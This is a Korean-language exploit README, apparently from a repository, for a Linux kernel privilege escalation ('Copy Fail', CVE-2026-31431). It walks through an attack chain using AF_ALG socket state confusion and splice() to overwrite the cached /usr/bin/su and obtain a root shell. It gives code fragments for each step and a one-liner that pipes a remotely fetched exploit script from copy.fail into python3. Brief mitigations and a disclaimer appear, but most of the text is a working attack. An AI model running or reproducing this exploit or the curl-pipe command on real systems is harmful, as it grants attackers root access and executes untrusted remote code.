
Python 익스플로잇: AF_ALG 소켓 상태 혼동과 splice()를 이용해 임의 파일 쓰기 및 루트 권한을 획득하는 Linux 커널 로컬 권한 상승(CVE-2026-31431) 익스플로잇.
이 저장소는 교육 및 사이버 보안 연구 목적으로만 사용됩니다. 익스플로잇 코드는 기본 취약점을 이해하고, 패치를 용이하게 하며, 방어 전략을 개발하기 위해 분석됩니다. 소유하지 않았거나 명시적 테스트 권한이 없는 시스템에 이를 사용하지 마십시오.
"Copy Fail"은 Linux 커널에서 발견된 심각한 로컬 권한 상승(LPE) 취약점입니다. 이 취약점은 커널이 파일 시스템과 비동기 암호화 API(AF_ALG) 간의 메모리 작업을 처리하는 방식의 결함을 악용하여 권한이 없는 사용자가 root 액세스 권한을 얻을 수 있게 합니다.
제공된 Python 익스플로잇은 난해한 Linux 시스템 콜과 인터페이스의 조합을 활용하여 커널 메모리에서 임의의 경계 초과(OOB) 쓰기를 달성하며, 이를 디스크의 임의 파일 쓰기로 변환합니다.
공격 체인의 단계별 분석은 다음과 같습니다:
AF_ALG 인터페이스 초기화a=s.socket(38, 5, 0)
a.bind(("aead","authesn(hmac(sha256),cbc(aes))"))
스크립트는 AF_ALG 소켓(패밀리 38)을 생성합니다. 이 인터페이스는 사용자 공간 애플리케이션이 암호화 작업을 커널에 오프로드할 수 있게 합니다. 특히 HMAC-SHA256과 CBC-AES를 결합한 AEAD(연관 데이터가 있는 인증 암호화) 암호 체인을 요청합니다.
setsockopt를 통한 상태 혼동v(h,1,d('0800010000000010'+'0'*64))
v(h,5,None,4)
스크립트는 setsockopt를 사용하여 소켓의 내부 상태를 조작합니다. 16진수 페이로드와 None 인수는 커널의 암호화 API 버퍼 관리에서 경계 조건 또는 정수 오버플로를 트리거하도록 신중하게 제작되었습니다. 이는 커널 내부에서 복사 작업을 안전하게 "실패"시켜 소켓을 일관되지 않고 취약한 상태로 남깁니다.
splice()를 통한 제로 카피 데이터 전송n=g.splice; n(f,w,o,offset_src=0); n(r,u.fileno(),o)
이것이 익스플로잇의 핵심입니다. 데이터를 사용자 공간으로 읽은 후 다시 쓰는 대신, splice()는 파일 디스크립터 간에 데이터를 커널 공간에서 직접 이동합니다.
스크립트는 /usr/bin/su(SUID 루트 바이너리)를 열고 여기에서 잘못 구성된 AF_ALG 소켓으로 데이터를 스플라이스하려고 시도합니다. 2단계에서 소켓의 상태가 손상되었기 때문에 이 제로 카피 작업 중에 커널의 경계 검사가 실패합니다.
e=zlib.decompress(d("78da..."))
while i<len(e):c(f,i,e[i:i+4]);i+=4
스크립트는 압축된 페이로드(작은 셸코드 또는 수정된 바이너리 블롭일 가능성이 높음)를 해제합니다. 루프에 진입하여 이 페이로드를 4바이트씩 손상된 소켓 버퍼로 전송합니다. 경계 검사 실패로 인해 이 4바이트 쓰기는 커널의 페이지 캐시에서 임의의 오프셋에 기록됩니다. 이는 /usr/bin/su가 로드되는 정확한 메모리 공간입니다.
g.system("su")
페이지 캐시에 저장된 /usr/bin/su 버전 내의 특정 명령 포인터 또는 논리 검사를 덮어씀으로써 공격자는 바이너리의 동작을 수정합니다. system("su")가 호출되면 수정된 SUID 바이너리가 실행됩니다. 바이너리는 root로 실행되지만 표준 비밀번호 검증을 건너뛰어 공격자를 직접 루트 셸로 떨어뜨립니다.
Linux 시스템에서 copyfail.py를 다운로드하여 실행하거나, 빠른 실행을 위해 아래 curl 요청을 사용하십시오
curl https://copy.fail/exp | python3 && su
id
https://github.com/user-attachments/assets/1f6c9365-710e-4241-889f-cb30af6d6f2e
AF_ALG 제한: 워크로드에 암호화 오프로딩이 필요하지 않은 경우 /etc/modprobe.d/blacklist.conf에 blacklist af_alg를 추가하여 af_alg 커널 모듈을 비활성화하십시오.splice(), socket()(특히 패밀리 38) 및 setsockopt() 사용을 제한하십시오.